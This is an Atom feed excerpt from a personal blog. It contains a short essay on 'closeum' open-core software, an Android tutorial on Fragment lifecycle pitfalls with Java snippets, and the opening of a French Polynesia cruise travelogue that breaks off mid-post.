]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hawaii" term="hawaii" label="hawaii"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Closeum - closed-source in disguise</title><link href="https://ashishb.net/tech/closeum-closed-source-in-disguise/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/programmable-money-and-value-capture/?utm_source=atom_feed" rel="related" type="text/html" title="Programmable Money and value capture"/><link href="https://ashishb.net/tech/angel-investing-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Angel investing for Software Engineers"/><link href="https://ashishb.net/tech/tech-job-after-mba/?utm_source=atom_feed" rel="related" type="text/html" title="A short guide for MBAs looking for a job in the tech world"/><link href="https://ashishb.net/tech/cryptocurrency-trading/?utm_source=atom_feed" rel="related" type="text/html" title="Cryptocurrency trading"/><link href="https://ashishb.net/tech/this-website-was-compromised/?utm_source=atom_feed" rel="related" type="text/html" title="This website was compromised"/><id>https://ashishb.net/tech/closeum-closed-source-in-disguise/</id><author><name>Ashish Bhatia</name></author><published>2019-03-01T15:00:25+00:00</published><updated>2019-03-01T15:00:25+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the new &ldquo;closeum&rdquo; software model, blending open-source cores with closed-source enhancements. Explore innovative licensing and cloud dependencies shaping tech today.</blockquote><p>Earlier, the Software world was rigidly divided between closed and open-source software.
Microsoft Windows is closed-source, GNU/Linux is open-source. Microsoft Office and Lotus Notes are closed-source,
LibreOffice is open-source.
Turbo C++ is closed-source, and GCC is open-source.</p>
<p>But now, a new class of software products has emerged whose core is open-source, but still,
the open-source software is of limited use. One model is to offer some critical and useful functionality
in a closed-source layer via a managed service in AWS/GCP/Azure, for example,
Redis is open-source, but useful modules on top of it are   
    
    
<a href="https://www.zdnet.com/article/redis-labs-drops-commons-clause-for-a-new-license/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">not</a>.
Another model is to use licensing gimmickry, for example, MongoDB is licensed under SSPL which requires that
if anyone offers MongoDB as a service, then the source code of the full service must be published under this license.
The third approach is to make the core software open-source but make it dependent on closed-source cloud services.
For example, the node package manager (npm) is open-source, but a   
    
    
<a href="https://techcrunch.com/2015/04/14/popular-javascript-package-manager-npm-raises-8m-launches-private-modules/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">closed source company</a> owns the default npm registry.
Android is open-source, but most day-to-day application ranging from Google Maps to Google Music are   
    
    
<a href="https://arstechnica.com/gadgets/2018/07/googles-iron-grip-on-android-controlling-open-source-by-any-means-necessary/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">closed-source</a>.
Now onwards, rather than calling such software open-source, we should call them closeum.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Android: Fragment related pitfalls and how to avoid them</title><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Handling JPEG images with Exif orientation flags"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><id>https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/</id><author><name>Ashish Bhatia</name></author><published>2019-02-09T17:00:10+00:00</published><updated>2019-02-09T17:00:10+00:00</updated><content type="html"><![CDATA[<blockquote>Learn to avoid common fragment pitfalls on Android by using support library fragments, handling FragmentTransactions wisely, and saving Fragment state effectively.</blockquote><ol>
<li>
<p>Don&rsquo;t use platform fragments (<code>android.app.Fragment</code>), they have been deprecated and can trigger version-specific bugs. Use the support library fragments ( <code>android.support.v4.app.Fragment</code>) instead.</p>
</li>
<li>
<p>A Fragment is created explicitly via your code or recreated implicitly by the FragmentManager. The FragmentManager can only recreate a Fragment if it&rsquo;s a public non-anonymous class. To test for this, rotate your screen while the Fragment is visible.</p>
</li>
<li>
<p>FragmentTransaction#commit can fail if the activity has been destroyed.
&ldquo;java.lang.IllegalStateException: Activity has been destroyed&rdquo;
<strong>Why</strong> - This can happen in the wild where say right before <code>FragmentTransaction#commit()</code> executes, the user gets a phone call and your activity is backgrounded and destroyed.
<strong>How to trigger manually</strong> - The easy way to manually test this is to add a call to <code>Activity#finish()</code> right before FragmentTransaction#commit.
<strong>Fix</strong> - Before doing <code>FragmentTransaction#commit()</code>, check that the activity has not been destroyed - <code>Activity#isDestroyed()</code> should return <code>false</code>.</p>
</li>
<li>
<p>FragmentTransaction#commit can fail if onSaveInstanceState has been called.
&ldquo;java.lang.IllegalStateException: Can not perform this action after onSaveInstanceState&rdquo;
<strong>Why</strong> - This can happen in the wild where say right before <code>FragmentTransaction#commit()</code> executes, the user gets a phone call and your activity is backgrounded and paused.
<strong>How to trigger manually</strong> - The easiest way to manually trigger this behavior is to call Activity#onSaveInstanceState in your uncommitted code right before the call to FragmentTransaction#commit
<strong>Fix 1</strong> - call FragmentTransaction#commitAllowingStateLoss but that implies that your fragment would be in a different state then the user expects it to be.
<strong>Fix 2</strong> - The better way is to ensure that the code path L which leads to FragmentTransaction#commit is not invoked once Activity&rsquo;s onSaveInstanceState has been called but that&rsquo;s not always easy to do.</p>
</li>
<li>
<p>FragmentManager is null after Activity is destroyed.
&ldquo;java.lang.NullPointerException: &hellip; at getSupportFragmentManager().beginTransaction()&rdquo;
<strong>Why</strong> - This can happen when the activity has been destroyed before <code>getSupportFragmentManager()</code> is invoked. The common cause of this is when a new fragment has to be added in response to a user action and the user immediately backgrounds the app, again, say due to a phone call, after clicking the button before <code>getSupportFragmentManager()</code> is invoked. Another common case is where an AsyncTask which will call <code>getSupportFragmentManager()</code> in onPostExecute and while the task is engaged in the background processing (doInBackground), the activity is destroyed.
<strong>How to trigger manually</strong> - call `Activity#finish()` before `getSupportFragmentManager().beginTransaction()`
<strong>Fix</strong>- If <code>getSupportFragmentManager()</code> is being invoked in the Activity, check if it&rsquo;s null. If it is being invoked inside a Fragment check if <code>isAdded()</code> of the Fragment returns true before calling this.</p>
</li>
<li>
<p>Avoid UI modifications that are not related to a FragmentTransaction with FragmentTransaction committed using commitAllowStateLoss
<strong>Why</strong> - Any UI modifications like modifications of the text in a TextView are synchronous while the execution of a FragmentTransaction via `FragmentTransaction#commitAllowStateLoss()` is asynchronous. If the activity&rsquo;s onSaveInstanceState is invoked after the UI changes have been made but before commitAllowStateLoss is called then the user can end up seeing a UI state which you never expected them to see.
<strong>Fix</strong> - use <code>commitNow()</code> or hook into <code>FragmentManager.FragmentLifecycleCallbacks#onFragmentAttached()</code>. I will admit this I haven&rsquo;t found a simpler fix for this. And this issue is definitely an edge case.</p>
</li>
<li>
<p>Saving Fragment State
As mentioned earlier, a Fragment is re-created on activity recreation by FragmentManager which will invoke its default no-parameter constructor. If you have no such constructor then on Fragment recreation, the app will crash with &ldquo;java.lang.InstantiationException: MyFragment has no zero-argument constructor&rdquo;. If you try to fix this by adding a no-argument constructor then the app will not crash but on activity recreation say due to screen rotation, the Fragment will lose its state. The right way to serialize a Fragment&rsquo;s state is to pass arguments in a Bundle via setArguments.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>MyFragment myFragment <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> MyFragment();
</span></span><span style="display:flex;"><span>myFragment.setArguments(mBundle);
</span></span><span style="display:flex;"><span><span style="color:#719e07">return</span> myFragment;</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The Fragment code should then use the getArguments() method to fetch the arguments. In fact, I would recommend a Builder pattern to hide all this complexity.</p>
<p>Consider this complete example,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#268bd2">public</span> <span style="color:#268bd2">class</span> <span style="color:#268bd2">MyFragment</span> {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">private</span> <span style="color:#268bd2">static</span> <span style="color:#268bd2">final</span> String KEY_NAME <span style="color:#719e07">=</span> <span style="color:#2aa198">&#34;name&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">public</span> <span style="color:#268bd2">static</span> <span style="color:#268bd2">class</span> <span style="color:#268bd2">MyFragment</span>.Builder {
</span></span><span style="display:flex;"><span>       <span style="color:#268bd2">private</span> <span style="color:#268bd2">final</span> Bundle mBundle <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> Bundle();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>       <span style="color:#268bd2">public</span> Builder <span style="color:#268bd2">setName</span>(String username) {
</span></span><span style="display:flex;"><span>           mBundle.putInt(KEY_NAME, clickCount);
</span></span><span style="display:flex;"><span>           <span style="color:#719e07">return</span> <span style="color:#719e07">this</span>;
</span></span><span style="display:flex;"><span>       }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>       <span style="color:#268bd2">public</span> MyFragment <span style="color:#268bd2">build</span>() {
</span></span><span style="display:flex;"><span>          MyFragment myFragment <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> MyFragment();
</span></span><span style="display:flex;"><span>          <span style="color:#586e75">// Set the username</span>
</span></span><span style="display:flex;"><span>          myFragment.setArguments(mBundle);
</span></span><span style="display:flex;"><span>          <span style="color:#719e07">return</span> myFragment;
</span></span><span style="display:flex;"><span>       }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">public</span> <span style="color:#268bd2">MyFragment</span>() {
</span></span><span style="display:flex;"><span>      <span style="color:#586e75">// Get the user name</span>
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">@Nullable</span> String username <span style="color:#719e07">=</span> getArguments() <span style="color:#719e07">!=</span> <span style="color:#cb4b16">null</span> <span style="color:#719e07">?</span> getArguments().getString(KEY_NAME, <span style="color:#cb4b16">null</span>) : <span style="color:#cb4b16">null</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> (<span style="color:#719e07">!</span>isDestroyed()) {
</span></span><span style="display:flex;"><span>     <span style="color:#586e75">// Create the Fragment</span>
</span></span><span style="display:flex;"><span>    MyFragment myFragment <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> MyFragment().Builder().setName(username).build();
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Add the Fragment</span>
</span></span><span style="display:flex;"><span>    FragmentTransaction ft <span style="color:#719e07">=</span> getSupportFragmentManager().beingTransaction();
</span></span><span style="display:flex;"><span>    ft.add(myFragment);
</span></span><span style="display:flex;"><span>    ft.commitNowAllowingStateLoss();
</span></span><span style="display:flex;"><span>  }</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Inside your Fragment code, if you want to decide whether it is safe to execute a UI code or not, rely on <code>isAdded()</code>, if it returns true, it is safe to perform UI modifications, if it returns false, then your Fragment has been detached from the activity either because it has been removed or because the host (Fragment/Activity) is being destroyed.</p>
</li>
<li>
<p>Callbacks
To callback into the parent activity/fragment in case of action inside your Fragment, say, a user clicks, provide an interface (say, <code>MyFragmentListener</code>) which the holding activity/Fragment should implement. In <code>Fragment#onCreateView()</code> get the host via <code>getHost()</code>, cast it to <code>MyFragmentListener</code>, and store it in the instance variable of your Fragment class. Set that instance variable to <code>null</code> in <code>Fragment#onDestroyView()</code>. Now, you can invoke callbacks on this <code>MyFragmentListener</code> instance variable.</p>
</li>
<li>
<p>Backstack
Backstack is nuanced and my grasp of it is still limited. What I do understand is that if you want your Fragment to react to the back key press then you should call <code>FragmentTransaction#addToBackStack(backStackStateName)</code> while adding the Fragment via <code>FragmentTransaction</code> and remove it while removing it. Removal from the back stack is a bit more nuanced. Note that, manual removal of a fragment from the back stack is not required in <code>Activity#onBackPressed()</code> as long as your Activity inherits from   
    
    
<a href="https://android.googlesource.com/platform/frameworks/support/&#43;/refs/heads/master/fragment/src/main/java/android/support/v4/app/FragmentActivity.java#171?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">FragmentActivity</a>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>SupportFragmentManager manager <span style="color:#719e07">=</span> getSupportFragmentManager();
</span></span><span style="display:flex;"><span>  FragmentManager.BackStackEntry entry <span style="color:#719e07">=</span> manager.getBackStackEntryAt(manager.getBackStackEntryCount() <span style="color:#719e07">-</span> 1);
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> (backStackStateName.equals(entry.getName())) {
</span></span><span style="display:flex;"><span>     manager.popBackStack(backStackStateName, FragmentManager.POP_BACK_STACK_INCLUSIVE);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/></entry><entry><title type="html">Cruising in French Polynesia</title><link href="https://ashishb.net/travel/cruising-in-french-polynesia/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/french-polynesia-the-basics/?utm_source=atom_feed" rel="related" type="text/html" title="French Polynesia - the basics"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><link href="https://ashishb.net/travel/escaping-into-caribbean-with-norwegian-escape-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="Escaping into Caribbean with Norwegian Escape Cruise"/><link href="https://ashishb.net/travel/first-time-cruisers/?utm_source=atom_feed" rel="related" type="text/html" title="Some tips for the first time cruisers"/><id>https://ashishb.net/travel/cruising-in-french-polynesia/</id><author><name>Ashish Bhatia</name></author><published>2019-02-01T08:13:19+00:00</published><updated>2019-02-01T08:13:19+00:00</updated><content type="html"><![CDATA[<blockquote>Explore French Polynesia with Windstar Cruises! Unforgettable 7-day journey with personalized service, stunning islands, coral gardens, and cultural experiences.</blockquote><p>We sailed on the   
    
    
<a href="https://www.windstarcruises.com/cruise/tahiti/dreams-of-tahiti/?id=9&amp;sid=1662&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Windstar cruise</a> in 
<a href="/travel/french-polynesia-the-basics/">French Polynesia</a>. On a 7-day cruise, we stopped on six different islands, including two days in Bora Bora.</p>
<p>The cruise ship has a crew of 99 and 74 staterooms for~150 passengers. This ratio ensures exceptionally personalized service, and you get to know pretty much everyone else on the ship. The crew members learn everyone&rsquo;s name pretty quickly, and, especially, in our case, we got custom orders for vegetarian food of our choice regularly.</p>
<h3 id="day-1---papeete">Day 1 - Papeete</h3>
<p>We reached Papeete airport early morning and took a local bus to Papeete. We left our bags with Windstar while we checked the local market in Papeete. Nothing outstanding, but it is an excellent way to kill time. Also, Papeete markets are most reasonably priced compared to the other islands. Therefore, if you want to buy something, buy it here. One can easily rent a scooter or a car (some automatic transmissions are available as well) and make a trip around the island. Given the small number of passengers on the ship, onboarding was an extremely smooth experience.</p>
<figure>
    
    <a href="IMG_20181220_122244_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20181220_122244_resized-1024x768.jpg"
